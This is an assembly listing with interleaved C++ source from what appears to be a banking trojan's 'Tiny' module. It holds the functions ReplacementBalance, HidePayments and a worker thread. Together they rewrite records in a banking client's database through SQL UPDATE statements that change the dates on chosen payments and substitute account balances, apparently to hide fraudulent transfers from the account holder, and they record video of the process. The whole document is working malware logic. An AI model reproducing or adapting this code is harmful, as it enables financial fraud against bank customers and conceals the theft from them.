	00		 lea	 eax, DWORD PTR _restAccounts[esi]
  0019a	89 45 fc	 mov	 DWORD PTR tv290[ebp], eax
  0019d	38 18		 cmp	 BYTE PTR [eax], bl
  0019f	0f 85 a3 fe ff
	ff		 jne	 $LL6@Replacemen@2
  001a5	5e		 pop	 esi
$LN50@Replacemen@2:
; 1409 : 		}
; 1410 : 		CloseDB(DB);
  001a6	8b 07		 mov	 eax, DWORD PTR [edi]
  001a8	6a 01		 push	 1
  001aa	8b cf		 mov	 ecx, edi
  001ac	ff 10		 call	 DWORD PTR [eax]
; 1411 : 		File::WriteBufferA( BOT::MakeFileName( 0, GetStr(TinyOldBalans).t_str() ).t_str(), &restAccounts, sizeof(restAccounts) );
  001ae	68 20 03 00 00	 push	 800			; 00000320H
  001b3	68 00 00 00 00	 push	 OFFSET _restAccounts
  001b8	8d 45 e8	 lea	 eax, DWORD PTR $T102086[ebp]
  001bb	68 00 00 00 00	 push	 OFFSET ?TinyOldBalans@@3PADA ; TinyOldBalans
  001c0	50		 push	 eax
  001c1	e8 00 00 00 00	 call	 ?GetStr@@YA?AV?$TString@D@@PBD@Z ; GetStr
  001c6	59		 pop	 ecx
  001c7	59		 pop	 ecx
  001c8	8b c8		 mov	 ecx, eax
  001ca	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  001cf	50		 push	 eax
  001d0	8d 45 e0	 lea	 eax, DWORD PTR $T102087[ebp]
  001d3	53		 push	 ebx
  001d4	50		 push	 eax
  001d5	e8 00 00 00 00	 call	 ?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z ; BOT::MakeFileName
  001da	83 c4 0c	 add	 esp, 12			; 0000000cH
  001dd	8b c8		 mov	 ecx, eax
  001df	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  001e4	50		 push	 eax
  001e5	e8 00 00 00 00	 call	 ?WriteBufferA@File@@YAKPBDQAXK@Z ; File::WriteBufferA
  001ea	83 c4 0c	 add	 esp, 12			; 0000000cH
  001ed	8d 4d e0	 lea	 ecx, DWORD PTR $T102087[ebp]
  001f0	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  001f5	8d 4d e8	 lea	 ecx, DWORD PTR $T102086[ebp]
  001f8	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 1412 : 	}
  001fd	ff 75 d8	 push	 DWORD PTR _sqlBuf$100708[ebp]
  00200	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  00205	59		 pop	 ecx
$LN43@Replacemen@2:
  00206	5f		 pop	 edi
  00207	5b		 pop	 ebx
; 1413 : }
  00208	c9		 leave
  00209	c3		 ret	 0
?ReplacementBalance@Tiny@@YAXXZ ENDP			; Tiny::ReplacementBalance
_TEXT	ENDS
PUBLIC	??_C@_0GL@EPMHJNJO@select?5OrgDate?0DayDate?0PayDate?5f@ ; `string'
PUBLIC	??_C@_0BJ@NPAOADDM@oi?5oi?5oi?5is24?5it?5it?5is31?$AA@ ; `string'
PUBLIC	??_C@_0GC@FEIGLMEL@select?5OrgDate?0?5DayDate?5from?5Doc@ ; `string'
PUBLIC	??_C@_0BG@POHHFHKH@oi?5oi?5is24?5it?5it?5is31?$AA@ ; `string'
PUBLIC	??_C@_0CD@IILNAFCJ@select?5min?$CIOrgDate?$CJ?5from?5Documen@ ; `string'
PUBLIC	??_C@_02PHAKHKBO@oi?$AA@			; `string'
;	COMDAT ??_C@_0GL@EPMHJNJO@select?5OrgDate?0DayDate?0PayDate?5f@
CONST	SEGMENT
??_C@_0GL@EPMHJNJO@select?5OrgDate?0DayDate?0PayDate?5f@ DB 'select OrgDa'
	DB	'te,DayDate,PayDate from MyDocuments where DebitInit=? and Cre'
	DB	'ated>=? and Created<=? and Code=?', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0BJ@NPAOADDM@oi?5oi?5oi?5is24?5it?5it?5is31?$AA@
CONST	SEGMENT
??_C@_0BJ@NPAOADDM@oi?5oi?5oi?5is24?5it?5it?5is31?$AA@ DB 'oi oi oi is24 '
	DB	'it it is31', 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_0GC@FEIGLMEL@select?5OrgDate?0?5DayDate?5from?5Doc@
CONST	SEGMENT
??_C@_0GC@FEIGLMEL@select?5OrgDate?0?5DayDate?5from?5Doc@ DB 'select OrgD'
	DB	'ate, DayDate from Documents where DebitInit=? and Created>=? '
	DB	'and Created<=? and Code=?', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0BG@POHHFHKH@oi?5oi?5is24?5it?5it?5is31?$AA@
CONST	SEGMENT
??_C@_0BG@POHHFHKH@oi?5oi?5is24?5it?5it?5is31?$AA@ DB 'oi oi is24 it it i'
	DB	's31', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0CD@IILNAFCJ@select?5min?$CIOrgDate?$CJ?5from?5Documen@
CONST	SEGMENT
??_C@_0CD@IILNAFCJ@select?5min?$CIOrgDate?$CJ?5from?5Documen@ DB 'select '
	DB	'min(OrgDate) from Documents', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_02PHAKHKBO@oi?$AA@
CONST	SEGMENT
??_C@_02PHAKHKBO@oi?$AA@ DB 'oi', 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?HidePayments@Tiny@@YAXXZ
_TEXT	SEGMENT
_endDay$100779 = -52					; size = 16
$T102155 = -36						; size = 8
_sqlBuf$100772 = -36					; size = 8
$T102154 = -28						; size = 8
_PayDate$100782 = -24					; size = 4
_n$100774 = -20						; size = 4
_DayDate$100781 = -16					; size = 4
tv291 = -12						; size = 4
_OrgDate$100780 = -8					; size = 4
_dateFirst$100766 = -4					; size = 4
?HidePayments@Tiny@@YAXXZ PROC				; Tiny::HidePayments, COMDAT
; 1417 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 34	 sub	 esp, 52			; 00000034H
  00006	56		 push	 esi
  00007	57		 push	 edi
; 1418 : 	DBG( "Tiny", "
; 1419 : 	ODBC* DB = OpenDB();
  00008	e8 00 00 00 00	 call	 ?OpenDB@Tiny@@YAPAVODBC@@XZ ; Tiny::OpenDB
  0000d	8b f8		 mov	 edi, eax
; 1420 : 	if( DB )
  0000f	33 f6		 xor	 esi, esi
  00011	3b fe		 cmp	 edi, esi
  00013	0f 84 ff 01 00
	00		 je	 $LN8@HidePaymen
; 1421 : 	{
; 1422 : 		DWORD dateFirst; //
; 1423 : 		const char* sql = "select min(OrgDate) from Documents";
; 1424 : 		SQLHSTMT qr = DB->ExecuteSql( sql, "oi", &dateFirst );
  00019	8d 45 fc	 lea	 eax, DWORD PTR _dateFirst$100766[ebp]
  0001c	50		 push	 eax
  0001d	68 00 00 00 00	 push	 OFFSET ??_C@_02PHAKHKBO@oi?$AA@
  00022	68 00 00 00 00	 push	 OFFSET ??_C@_0CD@IILNAFCJ@select?5min?$CIOrgDate?$CJ?5from?5Documen@
  00027	57		 push	 edi
  00028	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  0002d	83 c4 10	 add	 esp, 16			; 00000010H
; 1425 : 		if( qr )
  00030	3b c6		 cmp	 eax, esi
  00032	0f 84 88 01 00
	00		 je	 $LN21@HidePaymen
; 1426 : 		{
; 1427 : 			DB->CloseQuery(qr);
  00038	50		 push	 eax
  00039	8b cf		 mov	 ecx, edi
  0003b	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1428 : 			TMemory sqlBuf(1024);
  00040	68 00 04 00 00	 push	 1024			; 00000400H
  00045	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  0004a	59		 pop	 ecx
  0004b	89 45 dc	 mov	 DWORD PTR _sqlBuf$100772[ebp], eax
; 1429 : 			fwsprintfA pwsprintfA = Get_wsprintfA();
  0004e	e8 00 00 00 00	 call	 ?Get_wsprintfA@@YAP6AHPADPBDZZXZ ; Get_wsprintfA
; 1430 : 			int n = 0;
; 1431 : 			while( hidePayments[n].account[0] )
  00053	80 3d 00 00 00
	00 00		 cmp	 BYTE PTR _hidePayments, 0
  0005a	89 75 ec	 mov	 DWORD PTR _n$100774[ebp], esi
  0005d	0f 84 54 01 00
	00		 je	 $LN5@HidePaymen
  00063	c7 45 f4 00 00
	00 00		 mov	 DWORD PTR tv291[ebp], OFFSET _hidePayments
  0006a	53		 push	 ebx
$LL6@HidePaymen:
; 1432 : 			{
; 1433 : 				DBG( "Tiny", "
 %s %s", hidePayments[n].account, hidePayments[n].num );
; 1434 : 				TIMESTAMP_STRUCT endDay; //
; 1435 : 				m_memcpy( &endDay, &hidePayments[n].date, sizeof(endDay) );
  0006b	6a 10		 push	 16			; 00000010H
  0006d	8d 9e 48 00 00
	00		 lea	 ebx, DWORD PTR _hidePayments[esi+72]
  00073	8d 45 cc	 lea	 eax, DWORD PTR _endDay$100779[ebp]
  00076	53		 push	 ebx
  00077	50		 push	 eax
  00078	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 1436 : 				endDay.hour = 23;
  0007d	6a 17		 push	 23			; 00000017H
  0007f	58		 pop	 eax
; 1437 : 				endDay.minute = 59;
  00080	6a 3b		 push	 59			; 0000003bH
  00082	66 89 45 d2	 mov	 WORD PTR _endDay$100779[ebp+6], ax
  00086	58		 pop	 eax
  00087	66 89 45 d4	 mov	 WORD PTR _endDay$100779[ebp+8], ax
; 1438 : 				endDay.second = 59;
  0008b	66 89 45 d6	 mov	 WORD PTR _endDay$100779[ebp+10], ax
; 1439 : 				int OrgDate, DayDate, PayDate;
; 1440 : 				sql = "select OrgDate, DayDate from Documents where DebitInit=? and Created>=? and Created<=? and Code=?";
; 1441 : 				qr = DB->ExecuteSql( sql, "oi oi is24 it it is31", &OrgDate, &DayDate, hidePayments[n].account, &hidePayments[n].date, &endDay, &hidePayments[n].num );
  0008f	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi+32]
  00095	50		 push	 eax
  00096	8d 45 cc	 lea	 eax, DWORD PTR _endDay$100779[ebp]
  00099	50		 push	 eax
  0009a	53		 push	 ebx
  0009b	ff 75 f4	 push	 DWORD PTR tv291[ebp]
  0009e	8d 45 f0	 lea	 eax, DWORD PTR _DayDate$100781[ebp]
  000a1	50		 push	 eax
  000a2	8d 45 f8	 lea	 eax, DWORD PTR _OrgDate$100780[ebp]
  000a5	50		 push	 eax
  000a6	68 00 00 00 00	 push	 OFFSET ??_C@_0BG@POHHFHKH@oi?5oi?5is24?5it?5it?5is31?$AA@
  000ab	68 00 00 00 00	 push	 OFFSET ??_C@_0GC@FEIGLMEL@select?5OrgDate?0?5DayDate?5from?5Doc@
  000b0	57		 push	 edi
  000b1	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  000b6	83 c4 30	 add	 esp, 48			; 00000030H
; 1442 : 				if( qr )
  000b9	85 c0		 test	 eax, eax
  000bb	74 51		 je	 SHORT $LN3@HidePaymen
; 1443 : 				{
; 1444 : 					DBG( "Tiny", "1" );
; 1445 : 					DB->CloseQuery(qr);
  000bd	50		 push	 eax
  000be	8b cf		 mov	 ecx, edi
  000c0	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1446 : 					if( OrgDate != dateFirst )
  000c5	8b 45 f8	 mov	 eax, DWORD PTR _OrgDate$100780[ebp]
  000c8	3b 45 fc	 cmp	 eax, DWORD PTR _dateFirst$100766[ebp]
  000cb	74 41		 je	 SHORT $LN3@HidePaymen
; 1447 : 					{
; 1448 : 						DBG( "Tiny", "2" );
; 1449 : 						sql = "update Documents set OrgDate=?, DayDate=? where DebitInit=? and Created>=? and Created<=? and Code=?";
; 1450 : 						qr = DB->ExecuteSql( sql, "ii ii is24 it it is31", &dateFirst, &dateFirst, hidePayments[n].account, &hidePayments[n].date, &endDay, &hidePayments[n].num );
  000cd	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi+32]
  000d3	50		 push	 eax
  000d4	8d 45 cc	 lea	 eax, DWORD PTR _endDay$100779[ebp]
  000d7	50		 push	 eax
  000d8	53		 push	 ebx
  000d9	ff 75 f4	 push	 DWORD PTR tv291[ebp]
  000dc	8d 45 fc	 lea	 eax, DWORD PTR _dateFirst$100766[ebp]
  000df	50		 push	 eax
  000e0	50		 push	 eax
  000e1	68 00 00 00 00	 push	 OFFSET ??_C@_0BG@BBFKAGDE@ii?5ii?5is24?5it?5it?5is31?$AA@
  000e6	68 00 00 00 00	 push	 OFFSET ??_C@_0GF@GGLMKAMP@update?5Documents?5set?5OrgDate?$DN?$DP?0?5@
  000eb	57		 push	 edi
  000ec	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  000f1	83 c4 24	 add	 esp, 36			; 00000024H
; 1451 : 						DB->CloseQuery(qr);
  000f4	50		 push	 eax
  000f5	8b cf		 mov	 ecx, edi
  000f7	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1452 : 						hidePayments[n].orgDate = OrgDate;
  000fc	8b 45 f8	 mov	 eax, DWORD PTR _OrgDate$100780[ebp]
  000ff	89 86 58 00 00
	00		 mov	 DWORD PTR _hidePayments[esi+88], eax
; 1453 : 						hidePayments[n].dayDate = DayDate;
  00105	8b 45 f0	 mov	 eax, DWORD PTR _DayDate$100781[ebp]
  00108	89 86 5c 00 00
	00		 mov	 DWORD PTR _hidePayments[esi+92], eax
$LN3@HidePaymen:
; 1454 : 					}
; 1455 : 				}
; 1456 : 
; 1457 : 				sql = "select OrgDate,DayDate,PayDate from MyDocuments where DebitInit=? and Created>=? and Created<=? and Code=?";
; 1458 : 				qr = DB->ExecuteSql( sql, "oi oi oi is24 it it is31", &OrgDate, &DayDate, &PayDate, hidePayments[n].account, &hidePayments[n].date, &endDay, &hidePayments[n].num );
  0010e	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi+32]
  00114	50		 push	 eax
  00115	8d 45 cc	 lea	 eax, DWORD PTR _endDay$100779[ebp]
  00118	50		 push	 eax
  00119	53		 push	 ebx
  0011a	ff 75 f4	 push	 DWORD PTR tv291[ebp]
  0011d	8d 45 e8	 lea	 eax, DWORD PTR _PayDate$100782[ebp]
  00120	50		 push	 eax
  00121	8d 45 f0	 lea	 eax, DWORD PTR _DayDate$100781[ebp]
  00124	50		 push	 eax
  00125	8d 45 f8	 lea	 eax, DWORD PTR _OrgDate$100780[ebp]
  00128	50		 push	 eax
  00129	68 00 00 00 00	 push	 OFFSET ??_C@_0BJ@NPAOADDM@oi?5oi?5oi?5is24?5it?5it?5is31?$AA@
  0012e	68 00 00 00 00	 push	 OFFSET ??_C@_0GL@EPMHJNJO@select?5OrgDate?0DayDate?0PayDate?5f@
  00133	57		 push	 edi
  00134	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  00139	83 c4 28	 add	 esp, 40			; 00000028H
; 1459 : 				if( qr )
  0013c	85 c0		 test	 eax, eax
  0013e	74 5b		 je	 SHORT $LN1@HidePaymen
; 1460 : 				{
; 1461 : 					DB->CloseQuery(qr);
  00140	50		 push	 eax
  00141	8b cf		 mov	 ecx, edi
  00143	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1462 : 					if( OrgDate != dateFirst )
  00148	8b 45 f8	 mov	 eax, DWORD PTR _OrgDate$100780[ebp]
  0014b	3b 45 fc	 cmp	 eax, DWORD PTR _dateFirst$100766[ebp]
  0014e	74 4b		 je	 SHORT $LN1@HidePaymen
; 1463 : 					{
; 1464 : 						sql = "update MyDocuments set OrgDate=?, DayDate=?, PayDate=? where DebitInit=? and Created>=? and Created<=? and Code=?";
; 1465 : 						qr = DB->ExecuteSql( sql, "ii ii ii is24 it it is31", &dateFirst, &dateFirst, &dateFirst, hidePayments[n].account, &hidePayments[n].date, &endDay, &hidePayments[n].num );
  00150	8d 86 20 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi+32]
  00156	50		 push	 eax
  00157	8d 45 cc	 lea	 eax, DWORD PTR _endDay$100779[ebp]
  0015a	50		 push	 eax
  0015b	53		 push	 ebx
  0015c	ff 75 f4	 push	 DWORD PTR tv291[ebp]
  0015f	8d 45 fc	 lea	 eax, DWORD PTR _dateFirst$100766[ebp]
  00162	50		 push	 eax
  00163	50		 push	 eax
  00164	50		 push	 eax
  00165	68 00 00 00 00	 push	 OFFSET ??_C@_0BJ@FLPIDOAJ@ii?5ii?5ii?5is24?5it?5it?5is31?$AA@
  0016a	68 00 00 00 00	 push	 OFFSET ??_C@_0HC@KOAOEGOO@update?5MyDocuments?5set?5OrgDate?$DN?$DP@
  0016f	57		 push	 edi
  00170	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  00175	83 c4 28	 add	 esp, 40			; 00000028H
; 1466 : 						DB->CloseQuery(qr);
  00178	50		 push	 eax
  00179	8b cf		 mov	 ecx, edi
  0017b	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 1467 : 						hidePayments[n].orgDate = OrgDate;
  00180	8b 45 f8	 mov	 eax, DWORD PTR _OrgDate$100780[ebp]
  00183	89 86 58 00 00
	00		 mov	 DWORD PTR _hidePayments[esi+88], eax
; 1468 : 						hidePayments[n].dayDate = DayDate;
  00189	8b 45 f0	 mov	 eax, DWORD PTR _DayDate$100781[ebp]
  0018c	89 86 5c 00 00
	00		 mov	 DWORD PTR _hidePayments[esi+92], eax
; 1469 : 						hidePayments[n].payDate = PayDate;
  00192	8b 45 e8	 mov	 eax, DWORD PTR _PayDate$100782[ebp]
  00195	89 86 60 00 00
	00		 mov	 DWORD PTR _hidePayments[esi+96], eax
$LN1@HidePaymen:
; 1470 : 					}
; 1471 : 				}
; 1472 : 				n++;
  0019b	ff 45 ec	 inc	 DWORD PTR _n$100774[ebp]
  0019e	8b 75 ec	 mov	 esi, DWORD PTR _n$100774[ebp]
  001a1	6b f6 68	 imul	 esi, 104		; 00000068H
  001a4	8d 86 00 00 00
	00		 lea	 eax, DWORD PTR _hidePayments[esi]
  001aa	80 38 00	 cmp	 BYTE PTR [eax], 0
  001ad	89 45 f4	 mov	 DWORD PTR tv291[ebp], eax
  001b0	0f 85 b5 fe ff
	ff		 jne	 $LL6@HidePaymen
  001b6	5b		 pop	 ebx
$LN5@HidePaymen:
; 1473 : 			}
; 1474 : 		}
  001b7	ff 75 dc	 push	 DWORD PTR _sqlBuf$100772[ebp]
  001ba	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  001bf	59		 pop	 ecx
$LN21@HidePaymen:
; 1475 : 		CloseDB(DB);
  001c0	8b 07		 mov	 eax, DWORD PTR [edi]
  001c2	6a 01		 push	 1
  001c4	8b cf		 mov	 ecx, edi
  001c6	ff 10		 call	 DWORD PTR [eax]
; 1476 : 		File::WriteBufferA( BOT::MakeFileName( 0, GetStr(TinyOldDocs).t_str() ).t_str(), &hidePayments, sizeof(hidePayments) );
  001c8	68 10 04 00 00	 push	 1040			; 00000410H
  001cd	68 00 00 00 00	 push	 OFFSET _hidePayments
  001d2	8d 45 e4	 lea	 eax, DWORD PTR $T102154[ebp]
  001d5	68 00 00 00 00	 push	 OFFSET ?TinyOldDocs@@3PADA ; TinyOldDocs
  001da	50		 push	 eax
  001db	e8 00 00 00 00	 call	 ?GetStr@@YA?AV?$TString@D@@PBD@Z ; GetStr
  001e0	59		 pop	 ecx
  001e1	59		 pop	 ecx
  001e2	8b c8		 mov	 ecx, eax
  001e4	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  001e9	50		 push	 eax
  001ea	8d 45 dc	 lea	 eax, DWORD PTR $T102155[ebp]
  001ed	6a 00		 push	 0
  001ef	50		 push	 eax
  001f0	e8 00 00 00 00	 call	 ?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z ; BOT::MakeFileName
  001f5	83 c4 0c	 add	 esp, 12			; 0000000cH
  001f8	8b c8		 mov	 ecx, eax
  001fa	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  001ff	50		 push	 eax
  00200	e8 00 00 00 00	 call	 ?WriteBufferA@File@@YAKPBDQAXK@Z ; File::WriteBufferA
  00205	83 c4 0c	 add	 esp, 12			; 0000000cH
  00208	8d 4d dc	 lea	 ecx, DWORD PTR $T102155[ebp]
  0020b	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00210	8d 4d e4	 lea	 ecx, DWORD PTR $T102154[ebp]
  00213	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
$LN8@HidePaymen:
  00218	5f		 pop	 edi
  00219	5e		 pop	 esi
; 1477 : 	}
; 1478 : }
  0021a	c9		 leave
  0021b	c3		 ret	 0
?HidePayments@Tiny@@YAXXZ ENDP				; Tiny::HidePayments
_TEXT	ENDS
PUBLIC	??_C@_04ONEPNPF@Tiny?$AA@			; `string'
EXTRN	?RecordPID@VideoProcess@@YA_NHPBDKHH@Z:PROC	; VideoProcess::RecordPID
EXTRN	?TinyReplacement@@3PADA:BYTE			; TinyReplacement
EXTRN	?TinyFlagUpdate@@3PADA:BYTE			; TinyFlagUpdate
;	COMDAT ??_C@_04ONEPNPF@Tiny?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\utils.h
CONST	SEGMENT
??_C@_04ONEPNPF@Tiny?$AA@ DB 'Tiny', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?ThreadHideReplacement@Tiny@@YGKPAX@Z
_TEXT	SEGMENT
$T102190 = -32						; size = 8
$T102191 = -24						; size = 8
_fileFlag$ = -16					; size = 8
$T102189 = -8						; size = 8
_size$100842 = -4					; size = 4
___formal$ = 8						; size = 4
?ThreadHideReplacement@Tiny@@YGKPAX@Z PROC		; Tiny::ThreadHideReplacement, COMDAT
; 1539 : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 20	 sub	 esp, 32			; 00000020H
  00006	53		 push	 ebx
  00007	56		 push	 esi
  00008	57		 push	 edi
  00009	33 db		 xor	 ebx, ebx
$LL10@ThreadHide:
; 1540 : 	//
; 1541 : 	do
; 1542 : 	{
; 1543 : 		pSleep(1000);
  0000b	68 e8 03 00 00	 push	 1000			; 000003e8H
  00010	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
  00015	59		 pop	 ecx
; 1544 : 	} while( pathMDB[0] == 0 );
  00016	38 1d 00 00 00
	00		 cmp	 BYTE PTR _pathMDB, bl
  0001c	74 ed		 je	 SHORT $LL10@ThreadHide
; 1545 : 	pSleep(1000);
  0001e	68 e8 03 00 00	 push	 1000			; 000003e8H
  00023	e8 00 00 00 00	 call	 ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int>
; 1546 : 	string fileFlag = BOT::MakeFileName( 0, GetStr(TinyFlagUpdate).t_str() );
  00028	8d 45 f8	 lea	 eax, DWORD PTR $T102189[ebp]
  0002b	c7 04 24 00 00
	00 00		 mov	 DWORD PTR [esp], OFFSET ?TinyFlagUpdate@@3PADA ; TinyFlagUpdate
  00032	50		 push	 eax
  00033	e8 00 00 00 00	 call	 ?GetStr@@YA?AV?$TString@D@@PBD@Z ; GetStr
  00038	59		 pop	 ecx
  00039	59		 pop	 ecx
  0003a	8b c8		 mov	 ecx, eax
  0003c	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00041	50		 push	 eax
  00042	8d 45 f0	 lea	 eax, DWORD PTR _fileFlag$[ebp]
  00045	53		 push	 ebx
  00046	50		 push	 eax
  00047	e8 00 00 00 00	 call	 ?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z ; BOT::MakeFileName
  0004c	83 c4 0c	 add	 esp, 12			; 0000000cH
  0004f	8d 4d f8	 lea	 ecx, DWORD PTR $T102189[ebp]
  00052	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  00057	bf 00 00 00 00	 mov	 edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LL7@ThreadHide:
; 1547 : 	for(;;)
; 1548 : 	{
; 1549 : 		DBG( "Tiny", "
; 1550 : 		DWORD size;
; 1551 : 		//
; 1552 : 		//
; 1553 : 		//
; 1554 : 		char* rpl = (char*)File::ReadToBufferA( BOT::MakeFileName( 0, GetStr(TinyReplacement).t_str() ).t_str(), size );
  0005c	8d 45 fc	 lea	 eax, DWORD PTR _size$100842[ebp]
  0005f	50		 push	 eax
  00060	8d 45 e0	 lea	 eax, DWORD PTR $T102190[ebp]
  00063	68 00 00 00 00	 push	 OFFSET ?TinyReplacement@@3PADA ; TinyReplacement
  00068	50		 push	 eax
  00069	e8 00 00 00 00	 call	 ?GetStr@@YA?AV?$TString@D@@PBD@Z ; GetStr
  0006e	59		 pop	 ecx
  0006f	59		 pop	 ecx
  00070	8b c8		 mov	 ecx, eax
  00072	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  00077	50		 push	 eax
  00078	8d 45 e8	 lea	 eax, DWORD PTR $T102191[ebp]
  0007b	53		 push	 ebx
  0007c	50		 push	 eax
  0007d	e8 00 00 00 00	 call	 ?MakeFileName@BOT@@YA?AV?$TString@D@@PBD0@Z ; BOT::MakeFileName
  00082	83 c4 0c	 add	 esp, 12			; 0000000cH
  00085	8b c8		 mov	 ecx, eax
  00087	e8 00 00 00 00	 call	 ?t_str@?$TString@D@@QBEPADXZ ; TString<char>::t_str
  0008c	50		 push	 eax
  0008d	e8 00 00 00 00	 call	 ?ReadToBufferA@File@@YAPAEPBDAAK@Z ; File::ReadToBufferA
  00092	59		 pop	 ecx
  00093	59		 pop	 ecx
  00094	8d 4d e8	 lea	 ecx, DWORD PTR $T102191[ebp]
  00097	8b f0		 mov	 esi, eax
  00099	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
  0009e	8d 4d e0	 lea	 ecx, DWORD PTR $T102190[ebp]
  000a1	e8 00 00 00 00	 call	 ??1?$TString@D@@UAE@XZ	; TString<char>::~TString<char>
; 1555 : 		//char* rpl = (char*)File::ReadToBufferA( "c:\\11.txt", size );
; 1556 : 		if( rpl )
  000a6	3b f3		 cmp	 esi, ebx
  000a8	74 25		 je	 SHORT $LN5@ThreadHide
; 1557 : 		{
; 1558 : 			VideoProcess::RecordPID( 0, "Tiny" ); //
  000aa	53		 push	 ebx
  000ab	53		 push	 ebx
  000ac	53		 push	 ebx
  000ad	68 00 00 00 00	 push	 OFFSET ??_C@_04ONEPNPF@Tiny?$AA@
  000b2	53		 push	 ebx
  000b3	e8 00 00 00 00	 call	 ?RecordPID@VideoProcess@@YA_NHPBDKHH@Z ; VideoProcess::RecordPID
; 1559 : 			rpl[size - 1] = 0;
  000b8	8b 45 fc	 mov	 eax, DWORD PTR _size$100842[ebp]
  000bb	88 5c 30 ff	 mov	 BYTE PTR [eax+esi-1], bl
; 1560 : 			ReadReplacement(rpl);
  000bf	8b c6		 mov	 eax, esi
  000c1	e8 00 00 00 00	 call	 ?ReadReplacement@Tiny@@YAXPBD@Z ; Tiny::ReadReplacement
; 1561 : 			MemFree(rpl);
  000c6	56		 push	 esi
  000c7	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  000cc	83 c4 18	 add	 esp, 24			; 00000018H
$LN5@ThreadHide:
; 1562 : 		}
; 1563 : 		//
; 1564 : 		pDeleteFileA( fileFlag.t_str() );
  000cf	8b 45 f4	 mov	 eax, DWORD PTR _fileFlag$[ebp+4]
  000d2	3b c3		 cmp	 eax, ebx
  000d4	75 02		 jne	 SHORT $LN18@ThreadHide
  000d6	8b c7		 mov	 eax, edi
$LN18@ThreadHide:
  000d8	50		 push	 eax
  000d9	e8 00 00 00 00	 call	 ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *>
  000de	59		 pop	 ecx
; 1565 : 		ReplacementBalance();
  000df	e8 00 00 00 00	 call	 ?ReplacementBalance@Tiny@@YAXXZ ; Tiny::ReplacementBalance
; 1566 : 		HidePayments();
  000e4	e8 00 00 00 00	 call	 ?HidePayments@Tiny@@YAXXZ ; Tiny::HidePayments
; 1567 : 		runHideReplacement = false;
  000e9	88 1d 00 00 00
	00		 mov	 BYTE PTR _runHideReplacement, bl
; 1568 : 		replacementDone = true;
  000ef	c6 05 00 00 00
	00 01		 mov	 BYTE PTR _replacementDone, 1
$LL4@ThreadHide:
; 1569 : 		for(;;)
; 1570 : 		{
; 1571 : 			if( File::IsExists( fileFlag.t_str() ) ) break;
  000f6	8b 45 f4	 mov	 eax, DWORD PTR _fileFlag$[ebp+4]
  000f9	3b c3		 cmp	 eax, ebx
